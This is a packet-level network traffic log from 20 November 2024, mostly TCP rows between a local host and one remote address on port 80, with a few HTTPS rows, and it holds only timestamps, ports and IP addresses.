Nov 20, 2024 23:12:27.589521885 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.589582920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.589879036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.589926004 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.597831011 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.598242998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.598319054 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.606221914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.606414080 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.606483936 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.614649057 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.614717007 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.614788055 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.706347942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.706420898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.706444025 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.706497908 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.710438013 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.710500956 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.711333036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.711391926 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.711488008 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.711539030 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.719666958 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.719717026 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.720016003 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.720072031 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.728112936 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.728621006 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.728671074 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.736443996 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.736871004 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.778271914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.778337002 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.778678894 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.778733015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.782598019 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.782867908 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.782938957 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.790882111 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.790929079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.790990114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.799200058 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.799253941 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.799479008 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.799561977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.807627916 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.807728052 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.807790041 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.815958023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.816080093 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.816143036 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.824332952 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.824448109 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.824506998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.835819006 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.835988045 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.836210012 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.839215994 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.839274883 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.839880943 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.840101957 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.840152979 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.846959114 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.847191095 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.847245932 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.853981018 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.854037046 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.854157925 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.855784893 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.860430956 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.863781929 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.907737017 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.907851934 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.908057928 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.910947084 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.911000967 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.911005974 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.911783934 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.917540073 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.919816971 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.919929981 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.920140028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.920197964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.926175117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.926227093 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.926245928 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.926286936 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.932781935 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.932935953 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.932988882 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.939124107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.939186096 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.939271927 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.945594072 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.945651054 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.945714951 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.952109098 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.952217102 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.952282906 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.958573103 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.959783077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.979686975 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.979765892 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.979800940 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.981509924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.981642962 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.981671095 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.981713057 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.985162973 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.985234022 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.985291958 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.988816023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.988945961 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.989003897 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.992460012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.992515087 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.992568016 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:27.996174097 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.996229887 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:27.996288061 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.017709970 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017777920 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017829895 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017863989 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017898083 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017930984 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.017971039 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.018078089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.018078089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.018078089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.018079042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.037916899 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.038064957 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.038089991 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.038238049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.039669991 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.039736032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.039799929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.039864063 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.043390036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.043451071 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.043514013 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.043570042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.047049999 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.047106981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.047259092 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.047321081 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.050692081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.050751925 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.050837994 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.050894022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.054203033 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.054260969 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.054311991 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.054364920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.057719946 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.057787895 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.057831049 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.057874918 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.061258078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.061312914 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.061465979 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.061528921 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.108784914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.108863115 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.108920097 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.109009981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.110486984 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.110544920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.110559940 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.110622883 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.112938881 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.112993956 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.113025904 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.113082886 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.116228104 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.116290092 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.116360903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.116415977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.119523048 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.119585037 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.119638920 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.119693041 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.122798920 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.122858047 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.122926950 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.122980118 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.125978947 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.126035929 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.126106024 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.126159906 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.129163980 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.129220963 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.129223108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.129375935 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.132584095 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.132639885 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.132707119 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.132760048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.136779070 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.136841059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.136909962 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.136962891 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.138638020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.138691902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.138751030 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.138804913 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.141818047 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.141875029 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.141958952 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.142014027 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.145097971 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.145153999 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.145220995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.145275116 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.147888899 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.147947073 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.147975922 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.148051023 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.150823116 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.150882006 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.150949955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.151001930 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.153791904 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.153857946 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.153861046 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.154059887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.181175947 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.181272030 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.181301117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.181473970 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.182354927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.182415962 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.182461023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.182547092 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.184484005 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.184536934 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.184540987 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.184590101 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.186661005 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.186714888 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.186738014 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.186777115 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.188738108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.188811064 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.188877106 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.188934088 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.190843105 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.190900087 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.190963030 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.191015959 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.193053007 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.193110943 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.193192005 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.193253994 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.195169926 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.195224047 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.195225954 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.195276022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.197321892 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.197376966 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.197458029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.197516918 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.198729038 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.199434042 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.199565887 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.199639082 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.199637890 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.199662924 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.200129032 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.200136900 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.201570988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.201627970 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.201706886 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.201761007 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.203754902 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.203814983 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.203929901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.203984976 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.205862045 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.205918074 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.205982924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.206037045 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.207992077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.208049059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.208143950 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.208199024 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.210135937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.210190058 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.210192919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.210241079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.212244987 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.214509964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.239214897 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.239352942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.239543915 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.240276098 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.240689993 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.240808964 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.240838051 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.242824078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.242930889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.242952108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.243016958 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.244971037 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.245100021 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.245172977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.247107029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.247226000 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.247287989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.249408960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.249444962 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.249511003 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.251401901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.251471043 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.251538038 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.251795053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.253541946 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.253614902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.253669977 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.254604101 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.255696058 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.255770922 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.255852938 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.255980015 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.257844925 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.257915974 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.257951975 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.258029938 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.260040045 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.260076046 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.260106087 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.260168076 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.262134075 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.262213945 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.262263060 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.262341022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.264270067 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.264329910 CET	49710	80	192.168.2.7	185.215.113.206
